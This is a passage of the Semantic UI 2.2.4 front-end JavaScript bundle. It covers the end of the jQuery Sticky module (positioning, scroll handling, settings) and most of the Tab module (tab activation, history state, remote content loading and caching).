            if(module.cache.fits || possibleScroll < 0) {
              elementScroll = 0;
            }
            else if(possibleScroll > maxScroll ) {
              elementScroll = maxScroll;
            }
            else {
              elementScroll = possibleScroll;
            }
            return elementScroll;
          }
        },

        remove: {
          lastScroll: function() {
            delete module.lastScroll;
          },
          elementScroll: function(scroll) {
            delete module.elementScroll;
          },
          offset: function() {
            $module.css('margin-top', '');
          }
        },

        set: {
          offset: function() {
            module.verbose('Setting offset on element', settings.offset);
            $module
              .css('margin-top', settings.offset)
            ;
          },
          containerSize: function() {
            var
              tagName = $container.get(0).tagName
            ;
            if(tagName === 'HTML' || tagName == 'body') {
              // this can trigger for too many reasons
              //module.error(error.container, tagName, $module);
              module.determineContainer();
            }
            else {
              if( Math.abs($container.outerHeight() - module.cache.context.height) > settings.jitter) {
                module.debug('Context has padding, specifying exact height for container', module.cache.context.height);
                $container.css({
                  height: module.cache.context.height
                });
              }
            }
          },
          minimumSize: function() {
            var
              element   = module.cache.element
            ;
            $container
              .css('min-height', element.height)
            ;
          },
          scroll: function(scroll) {
            module.debug('Setting scroll on element', scroll);
            if(module.elementScroll == scroll) {
              return;
            }
            if( module.is.top() ) {
              $module
                .css('bottom', '')
                .css('top', -scroll)
              ;
            }
            if( module.is.bottom() ) {
              $module
                .css('top', '')
                .css('bottom', scroll)
              ;
            }
          },
          size: function() {
            if(module.cache.element.height !== 0 && module.cache.element.width !== 0) {
              element.style.setProperty('width',  module.cache.element.width  + 'px', 'important');
              element.style.setProperty('height', module.cache.element.height + 'px', 'important');
            }
          }
        },

        is: {
          standardScroll: function() {
            return ($scroll[0] == window);
          },
          top: function() {
            return $module.hasClass(className.top);
          },
          bottom: function() {
            return $module.hasClass(className.bottom);
          },
          initialPosition: function() {
            return (!module.is.fixed() && !module.is.bound());
          },
          hidden: function() {
            return (!$module.is(':visible'));
          },
          bound: function() {
            return $module.hasClass(className.bound);
          },
          fixed: function() {
            return $module.hasClass(className.fixed);
          }
        },

        stick: function(scroll) {
          var
            cachedPosition = scroll || $scroll.scrollTop(),
            cache          = module.cache,
            fits           = cache.fits,
            element        = cache.element,
            scrollContext  = cache.scrollContext,
            context        = cache.context,
            offset         = (module.is.bottom() && settings.pushing)
              ? settings.bottomOffset
              : settings.offset,
            scroll         = {
              top    : cachedPosition + offset,
              bottom : cachedPosition + offset + scrollContext.height
            },
            direction      = module.get.direction(scroll.top),
            elementScroll  = (fits)
              ? 0
              : module.get.elementScroll(scroll.top),

            // shorthand
            doesntFit      = !fits,
            elementVisible = (element.height !== 0)
          ;

          if(elementVisible) {

            if( module.is.initialPosition() ) {
              if(scroll.top >= context.bottom) {
                module.debug('Initial element position is bottom of container');
                module.bindBottom();
              }
              else if(scroll.top > element.top) {
                if( (element.height + scroll.top - elementScroll) >= context.bottom ) {
                  module.debug('Initial element position is bottom of container');
                  module.bindBottom();
                }
                else {
                  module.debug('Initial element position is fixed');
                  module.fixTop();
                }
              }

            }
            else if( module.is.fixed() ) {

              // currently fixed top
              if( module.is.top() ) {
                if( scroll.top <= element.top ) {
                  module.debug('Fixed element reached top of container');
                  module.setInitialPosition();
                }
                else if( (element.height + scroll.top - elementScroll) >= context.bottom ) {
                  module.debug('Fixed element reached bottom of container');
                  module.bindBottom();
                }
                // scroll element if larger than screen
                else if(doesntFit) {
                  module.set.scroll(elementScroll);
                  module.save.lastScroll(scroll.top);
                  module.save.elementScroll(elementScroll);
                }
              }

              // currently fixed bottom
              else if(module.is.bottom() ) {

                // top edge
                if( (scroll.bottom - element.height) <= element.top) {
                  module.debug('Bottom fixed rail has reached top of container');
                  module.setInitialPosition();
                }
                // bottom edge
                else if(scroll.bottom >= context.bottom) {
                  module.debug('Bottom fixed rail has reached bottom of container');
                  module.bindBottom();
                }
                // scroll element if larger than screen
                else if(doesntFit) {
                  module.set.scroll(elementScroll);
                  module.save.lastScroll(scroll.top);
                  module.save.elementScroll(elementScroll);
                }

              }
            }
            else if( module.is.bottom() ) {
              if( scroll.top <= element.top ) {
                module.debug('Jumped from bottom fixed to top fixed, most likely used home/end button');
                module.setInitialPosition();
              }
              else {
                if(settings.pushing) {
                  if(module.is.bound() && scroll.bottom <= context.bottom ) {
                    module.debug('Fixing bottom attached element to bottom of browser.');
                    module.fixBottom();
                  }
                }
                else {
                  if(module.is.bound() && (scroll.top <= context.bottom - element.height) ) {
                    module.debug('Fixing bottom attached element to top of browser.');
                    module.fixTop();
                  }
                }
              }
            }
          }
        },

        bindTop: function() {
          module.debug('Binding element to top of parent container');
          module.remove.offset();
          $module
            .css({
              left         : '',
              top          : '',
              marginBottom : ''
            })
            .removeClass(className.fixed)
            .removeClass(className.bottom)
            .addClass(className.bound)
            .addClass(className.top)
          ;
          settings.onTop.call(element);
          settings.onUnstick.call(element);
        },
        bindBottom: function() {
          module.debug('Binding element to bottom of parent container');
          module.remove.offset();
          $module
            .css({
              left         : '',
              top          : ''
            })
            .removeClass(className.fixed)
            .removeClass(className.top)
            .addClass(className.bound)
            .addClass(className.bottom)
          ;
          settings.onBottom.call(element);
          settings.onUnstick.call(element);
        },

        setInitialPosition: function() {
          module.debug('Returning to initial position');
          module.unfix();
          module.unbind();
        },


        fixTop: function() {
          module.debug('Fixing element to top of page');
          module.set.minimumSize();
          module.set.offset();
          $module
            .css({
              left         : module.cache.element.left,
              bottom       : '',
              marginBottom : ''
            })
            .removeClass(className.bound)
            .removeClass(className.bottom)
            .addClass(className.fixed)
            .addClass(className.top)
          ;
          settings.onStick.call(element);
        },

        fixBottom: function() {
          module.debug('Sticking element to bottom of page');
          module.set.minimumSize();
          module.set.offset();
          $module
            .css({
              left         : module.cache.element.left,
              bottom       : '',
              marginBottom : ''
            })
            .removeClass(className.bound)
            .removeClass(className.top)
            .addClass(className.fixed)
            .addClass(className.bottom)
          ;
          settings.onStick.call(element);
        },

        unbind: function() {
          if( module.is.bound() ) {
            module.debug('Removing container bound position on element');
            module.remove.offset();
            $module
              .removeClass(className.bound)
              .removeClass(className.top)
              .removeClass(className.bottom)
            ;
          }
        },

        unfix: function() {
          if( module.is.fixed() ) {
            module.debug('Removing fixed position on element');
            module.remove.offset();
            $module
              .removeClass(className.fixed)
              .removeClass(className.top)
              .removeClass(className.bottom)
            ;
            settings.onUnstick.call(element);
          }
        },

        reset: function() {
          module.debug('Resetting elements position');
          module.unbind();
          module.unfix();
          module.resetCSS();
          module.remove.offset();
          module.remove.lastScroll();
        },

        resetCSS: function() {
          $module
            .css({
              width  : '',
              height : ''
            })
          ;
          $container
            .css({
              height: ''
            })
          ;
        },

        setting: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            settings[name] = value;
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 0);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.sticky.settings = {

  name           : 'Sticky',
  namespace      : 'sticky',

  silent         : false,
  debug          : false,
  verbose        : true,
  performance    : true,

  // whether to stick in the opposite direction on scroll up
  pushing        : false,

  context        : false,

  // Context to watch scroll events
  scrollContext  : window,

  // Offset to adjust scroll
  offset         : 0,

  // Offset to adjust scroll when attached to bottom of screen
  bottomOffset   : 0,

  jitter         : 5, // will only set container height if difference between context and container is larger than this number

  // Whether to automatically observe changes with Mutation Observers
  observeChanges : false,

  // Called when position is recalculated
  onReposition   : function(){},

  // Called on each scroll
  onScroll       : function(){},

  // Called when element is stuck to viewport
  onStick        : function(){},

  // Called when element is unstuck from viewport
  onUnstick      : function(){},

  // Called when element reaches top of context
  onTop          : function(){},

  // Called when element reaches bottom of context
  onBottom       : function(){},

  error         : {
    container      : 'Sticky element must be inside a relative container',
    visible        : 'Element is hidden, you must call refresh after element becomes visible. Use silent setting to surpress this warning in production.',
    method         : 'The method you called is not defined.',
    invalidContext : 'Context specified does not exist',
    elementSize    : 'Sticky element is larger than its container, cannot create sticky.'
  },

  className : {
    bound     : 'bound',
    fixed     : 'fixed',
    supported : 'native',
    top       : 'top',
    bottom    : 'bottom'
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Tab
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.tab = function(parameters) {

  var
    // use window context if none specified
    $allModules     = $.isFunction(this)
        ? $(window)
        : $(this),

    moduleSelector  = $allModules.selector || '',
    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    initializedHistory = false,
    returnedValue
  ;

  $allModules
    .each(function() {
      var

        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.tab.settings, parameters)
          : $.extend({}, $.fn.tab.settings),

        className       = settings.className,
        metadata        = settings.metadata,
        selector        = settings.selector,
        error           = settings.error,

        eventNamespace  = '.' + settings.namespace,
        moduleNamespace = 'module-' + settings.namespace,

        $module         = $(this),
        $context,
        $tabs,

        cache           = {},
        firstLoad       = true,
        recursionDepth  = 0,
        element         = this,
        instance        = $module.data(moduleNamespace),

        activeTabPath,
        parameterArray,
        module,

        historyEvent

      ;

      module = {

        initialize: function() {
          module.debug('Initializing tab menu item', $module);
          module.fix.callbacks();
          module.determineTabs();

          module.debug('Determining tabs', settings.context, $tabs);
          // set up automatic routing
          if(settings.auto) {
            module.set.auto();
          }
          module.bind.events();

          if(settings.history && !initializedHistory) {
            module.initializeHistory();
            initializedHistory = true;
          }

          module.instantiate();
        },

        instantiate: function () {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.debug('Destroying tabs', $module);
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
        },

        bind: {
          events: function() {
            // if using $.tab don't add events
            if( !$.isWindow( element ) ) {
              module.debug('Attaching tab activation events to element', $module);
              $module
                .on('click' + eventNamespace, module.event.click)
              ;
            }
          }
        },

        determineTabs: function() {
          var
            $reference
          ;

          // determine tab context
          if(settings.context === 'parent') {
            if($module.closest(selector.ui).length > 0) {
              $reference = $module.closest(selector.ui);
              module.verbose('Using closest UI element as parent', $reference);
            }
            else {
              $reference = $module;
            }
            $context = $reference.parent();
            module.verbose('Determined parent element for creating context', $context);
          }
          else if(settings.context) {
            $context = $(settings.context);
            module.verbose('Using selector for tab context', settings.context, $context);
          }
          else {
            $context = $('body');
          }
          // find tabs
          if(settings.childrenOnly) {
            $tabs = $context.children(selector.tabs);
            module.debug('Searching tab context children for tabs', $context, $tabs);
          }
          else {
            $tabs = $context.find(selector.tabs);
            module.debug('Searching tab context for tabs', $context, $tabs);
          }
        },

        fix: {
          callbacks: function() {
            if( $.isPlainObject(parameters) && (parameters.onTabLoad || parameters.onTabInit) ) {
              if(parameters.onTabLoad) {
                parameters.onLoad = parameters.onTabLoad;
                delete parameters.onTabLoad;
                module.error(error.legacyLoad, parameters.onLoad);
              }
              if(parameters.onTabInit) {
                parameters.onFirstLoad = parameters.onTabInit;
                delete parameters.onTabInit;
                module.error(error.legacyInit, parameters.onFirstLoad);
              }
              settings = $.extend(true, {}, $.fn.tab.settings, parameters);
            }
          }
        },

        initializeHistory: function() {
          module.debug('Initializing page state');
          if( $.address === undefined ) {
            module.error(error.state);
            return false;
          }
          else {
            if(settings.historyType == 'state') {
              module.debug('Using HTML5 to manage state');
              if(settings.path !== false) {
                $.address
                  .history(true)
                  .state(settings.path)
                ;
              }
              else {
                module.error(error.path);
                return false;
              }
            }
            $.address
              .bind('change', module.event.history.change)
            ;
          }
        },

        event: {
          click: function(event) {
            var
              tabPath = $(this).data(metadata.tab)
            ;
            if(tabPath !== undefined) {
              if(settings.history) {
                module.verbose('Updating page state', event);
                $.address.value(tabPath);
              }
              else {
                module.verbose('Changing tab', event);
                module.changeTab(tabPath);
              }
              event.preventDefault();
            }
            else {
              module.debug('No tab specified');
            }
          },
          history: {
            change: function(event) {
              var
                tabPath   = event.pathNames.join('/') || module.get.initialPath(),
                pageTitle = settings.templates.determineTitle(tabPath) || false
              ;
              module.performance.display();
              module.debug('History change event', tabPath, event);
              historyEvent = event;
              if(tabPath !== undefined) {
                module.changeTab(tabPath);
              }
              if(pageTitle) {
                $.address.title(pageTitle);
              }
            }
          }
        },

        refresh: function() {
          if(activeTabPath) {
            module.debug('Refreshing tab', activeTabPath);
            module.changeTab(activeTabPath);
          }
        },

        cache: {

          read: function(cacheKey) {
            return (cacheKey !== undefined)
              ? cache[cacheKey]
              : false
            ;
          },
          add: function(cacheKey, content) {
            cacheKey = cacheKey || activeTabPath;
            module.debug('Adding cached content for', cacheKey);
            cache[cacheKey] = content;
          },
          remove: function(cacheKey) {
            cacheKey = cacheKey || activeTabPath;
            module.debug('Removing cached content for', cacheKey);
            delete cache[cacheKey];
          }
        },

        set: {
          auto: function() {
            var
              url = (typeof settings.path == 'string')
                ? settings.path.replace(/\/$/, '') + '/{$tab}'
                : '/{$tab}'
            ;
            module.verbose('Setting up automatic tab retrieval from server', url);
            if($.isPlainObject(settings.apiSettings)) {
              settings.apiSettings.url = url;
            }
            else {
              settings.apiSettings = {
                url: url
              };
            }
          },
          loading: function(tabPath) {
            var
              $tab      = module.get.tabElement(tabPath),
              isLoading = $tab.hasClass(className.loading)
            ;
            if(!isLoading) {
              module.verbose('Setting loading state for', $tab);
              $tab
                .addClass(className.loading)
                .siblings($tabs)
                  .removeClass(className.active + ' ' + className.loading)
              ;
              if($tab.length > 0) {
                settings.onRequest.call($tab[0], tabPath);
              }
            }
          },
          state: function(state) {
            $.address.value(state);
          }
        },

        changeTab: function(tabPath) {
          var
            pushStateAvailable = (window.history && window.history.pushState),
            shouldIgnoreLoad   = (pushStateAvailable && settings.ignoreFirstLoad && firstLoad),
            remoteContent      = (settings.auto || $.isPlainObject(settings.apiSettings) ),
            // only add default path if not remote content
            pathArray = (remoteContent && !shouldIgnoreLoad)
              ? module.utilities.pathToArray(tabPath)
              : module.get.defaultPathArray(tabPath)
          ;
          tabPath = module.utilities.arrayToPath(pathArray);
          $.each(pathArray, function(index, tab) {
            var
              currentPathArray   = pathArray.slice(0, index + 1),
              currentPath        = module.utilities.arrayToPath(currentPathArray),

              isTab              = module.is.tab(currentPath),
              isLastIndex        = (index + 1 == pathArray.length),

              $tab               = module.get.tabElement(currentPath),
              $anchor,
              nextPathArray,
              nextPath,
              isLastTab
            ;
            module.verbose('Looking for tab', tab);
            if(isTab) {
              module.verbose('Tab was found', tab);
              // scope up
              activeTabPath  = currentPath;
              parameterArray = module.utilities.filterArray(pathArray, currentPathArray);

              if(isLastIndex) {
                isLastTab = true;
              }
              else {
                nextPathArray = pathArray.slice(0, index + 2);
                nextPath      = module.utilities.arrayToPath(nextPathArray);
                isLastTab     = ( !module.is.tab(nextPath) );
                if(isLastTab) {
                  module.verbose('Tab parameters found', nextPathArray);
                }
              }
              if(isLastTab && remoteContent) {
                if(!shouldIgnoreLoad) {
                  module.activate.navigation(currentPath);
                  module.fetch.content(currentPath, tabPath);
                }
                else {
                  module.debug('Ignoring remote content on first tab load', currentPath);
                  firstLoad = false;
                  module.cache.add(tabPath, $tab.html());
                  module.activate.all(currentPath);
                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);
                  settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);
                }
                return false;
              }
              else {
                module.debug('Opened local tab', currentPath);
                module.activate.all(currentPath);
                if( !module.cache.read(currentPath) ) {
                  module.cache.add(currentPath, true);
                  module.debug('First time tab loaded calling tab init');
                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);
                }
                settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);
              }

            }
            else if(tabPath.search('/') == -1 && tabPath !== '') {
              // look for in page anchor
              $anchor     = $('#' + tabPath + ', a[name="' + tabPath + '"]');
              currentPath = $anchor.closest('[data-tab]').data(metadata.tab);
              $tab        = module.get.tabElement(currentPath);
              // if anchor exists use parent tab
              if($anchor && $anchor.length > 0 && currentPath) {
                module.debug('Anchor link used, opening parent tab', $tab, $anchor);
                if( !$tab.hasClass(className.active) ) {
                  setTimeout(function() {
                    module.scrollTo($anchor);
                  }, 0);
                }
                module.activate.all(currentPath);
                if( !module.cache.read(currentPath) ) {
                  module.cache.add(currentPath, true);
                  module.debug('First time tab loaded calling tab init');
                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);
                }
                settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);
                return false;
              }
            }
            else {
              module.error(error.missingTab, $module, $context, currentPath);
              return false;
            }
          });
        },

        scrollTo: function($element) {
          var
            scrollOffset = ($element && $element.length > 0)
              ? $element.offset().top
              : false
          ;
          if(scrollOffset !== false) {
            module.debug('Forcing scroll to an in-page link in a hidden tab', scrollOffset, $element);
            $(document).scrollTop(scrollOffset);
          }
        },

        update: {
          content: function(tabPath, html, evaluateScripts) {
            var
              $tab = module.get.tabElement(tabPath),
              tab  = $tab[0]
            ;
            evaluateScripts = (evaluateScripts !== undefined)
              ? evaluateScripts
              : settings.evaluateScripts
            ;
            if(evaluateScripts) {
              module.debug('Updating HTML and evaluating inline scripts', tabPath, html);
              $tab.html(html);
            }
            else {
              module.debug('Updating HTML', tabPath, html);
              tab.innerHTML = html;
            }
          }
        },

        fetch: {

          content: function(tabPath, fullTabPath) {
            var
              $tab        = module.get.tabElement(tabPath),
              apiSettings = {
                dataType         : 'html',
                encodeParameters : false,
                on               : 'now',
                cache            : settings.alwaysRefresh,
                headers          : {
                  'X-Remote': true
                },
                onSuccess : function(response) {
                  if(settings.cacheType == 'response') {
                    module.cache.add(fullTabPath, response);
                  }
                  module.update.content(tabPath, response);
                  if(tabPath == activeTabPath) {
                    module.debug('Content loaded', tabPath);
                    module.activate.tab(tabPath);
                  }
                  else {
                    module.debug('Content loaded in background', tabPath);
                  }
                  settings.onFirstLoad.call($tab[0], tabPath, parameterArray, historyEvent);
                  settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent);
                  if(settings.cacheType != 'response') {
                    module.cache.add(fullTabPath, $tab.html());
                  }
                },
                urlData: {
                  tab: fullTabPath
                }
              },
              request         = $tab.api('get request') || false,
              existingRequest = ( request && request.state() === 'pending' ),
              requestSettings,
              cachedContent
            ;

            fullTabPath   = fullTabPath || tabPath;
            cachedContent = module.cache.read(fullTabPath);


            if(settings.cache && cachedContent) {
              module.activate.tab(tabPath);
              module.debug('Adding cached content', fullTabPath);
              if(settings.evaluateScripts == 'once') {
                module.update.content(tabPath, cachedContent, false);
              }
              else {
                module.update.content(tabPath, cachedContent);
              }
              settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent);
            }
            else if(existingRequest) {
              module.set.loading(tabPath);
              module.debug('Content is already loading', fullTabPath);
            }
            else if($.api !== undefined) {
              requestSettings = $.extend(true, {}, settings.apiSettings, apiSettings);
              module.debug('Retrieving remote content', fullTabPath, requestSettings);
              module.set.loading(tabPath);
              $tab.api(requestSettings);
            }
            else {
              module.error(error.api);
            }
          }
        },

        activate: {
          all: function(tabPath) {
            module.activate.tab(tabPath);
            module.activate.navigation(tabPath);
          },
          tab: function(tabPath) {
            var
              $tab          = module.get.tabElement(tabPath),
              $deactiveTabs = (settings.deactivate == 'siblings')
                ? $tab.siblings($tabs)
                : $tabs.not($tab),
              isActive      = $tab.hasClass(className.active)
            ;
            module.verbose('Showing tab content for', $tab);
            if(!isActive) {
              $tab
                .addClass(className.active)
              ;
              $deactiveTabs
                .removeClass(className.active + ' ' + className.loading)
              ;
              if($tab.length > 0) {
                settings.onVisible.call($tab[0], tabPath);
              }
            }
          },
          navigation: function(tabPath) {
            var
              $navigation         = module.get.navElement(tabPath),
              $deactiveNavigation = (settings.deactivate == 'siblings')
                ? $navigation.siblings($allModules)
                : $allModules.not($navigation),
              isActive    = $navigation.hasClass(className.active)
            ;
            module.verbose('Activating tab navigation for', $navigation, tabPath);
            if(!isActive) {
              $navigation
                .addClass(className.active)
              ;
              $deactiveNavigation
                .removeClass(className.active + ' ' + className.loading)
              ;
            }
          }
        },

        deactivate: {
          all: function() {
            module.deactivate.navigation();
            module.deactivate.tabs();
          },
          navigation: function() {
            $allModules
              .removeClass(className.active)
            ;
          },
          tabs: function() {
            $tabs
              .removeClass(className.active + ' ' + className.loading)
            ;
          }
        },

        is: {
          tab: function(tabName) {
            return (tabName !== undefined)
              ? ( module.get.tabElement(tabName).length > 0 )
              : false
            ;
          }
        },

        get: {
          initialPath: function() {
            return $allModules.eq(0).data(metadata.tab) || $tabs.eq(0).data(metadata.tab);
          },
          path: function() {
            return $.address.value();
          },
          // adds default tabs to tab path
          defaultPathArray: function(tabPath) {
            return module.utilities.pathToArray( module.get.defaultPath(tabPath) );
          },
          defaultPath: function(tabPath) {
            var
              $defaultNav = $allModules.filter('[data-' + metadata.tab + '^="' + tabPath + '/"]').eq(0),
              defaultTab  = $defaultNav.data(metadata.tab) || false
            ;
            if( defaultTab ) {
              module.debug('Found default tab', defaultTab);
              if(recursionDepth < settings.maxDepth) {
                recursionDepth++;
                return module.get.defaultPath(defaultTab);
              }
              module.error(error.recursion);
            }
            else {
              module.debug('No default tabs found for', tabPath, $tabs);
            }
            recursionDepth = 0;
            return tabPath;
          },
          navElement: function(tabPath) {
            tabPath = tabPath || activeTabPath;
            return $allModules.filter('[data-' + metadata.tab + '="' + tabPath + '"]');
          },
          tabElement: function(tabPath) {
            var
              $fullPathTab,
              $simplePathTab,
              tabPathArray,
              lastTab
            ;
            tabPath        = tabPath || activeTabPath;
            tabPathArray   = module.utilities.pathToArray(tabPath);
            lastTab        = module.utilities.last(tabPathArray);
            $fullPathTab   = $tabs.filter('[data-' + metadata.tab + '="' + tabPath + '"]');
            $simplePathTab = $tabs.filter('[data-' + metadata.tab + '="' + lastTab + '"]');
            return ($fullPathTab.length > 0)
              ? $fullPathTab
              : $simplePathTab
            ;
          },
          tab: function() {
            return activeTabPath;
          }
        },

        utilities: {
          filterArray: function(keepArray, removeArray) {
            return $.grep(keepArray, function(keepValue) {
              return ( $.inArray(keepValue, removeArray) == -1);
            });
          },
          last: function(array) {
            return $.isArray(array)
              ? array[ array.length - 1]
              : false
            ;
          },
          pathToArray: function(pathName) {
            if(pathName === undefined) {
              pathName = activeTabPath;
            }
            return typeof pathName == 'string'
              ? pathName.split('/')
              : [pathName]
            ;
          },
          arrayToPath: function(pathArray) {
            return $.isArray(pathArray)
              ? pathArray.join('/')
              : false
            ;
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };
      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;
  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;

};

// shortcut for tabbed content with no defined navigation
$.tab = function() {
  $(window).tab.apply(this, arguments);
};

$.fn.tab.settings = {

  name            : 'Tab',
  namespace       : 'tab',

  silent          : false,
  debug           : false,
  verbose         : false,
  performance     : true,

  auto            : false,      // uses pjax style endpoints fetching content from same url with remote-content headers
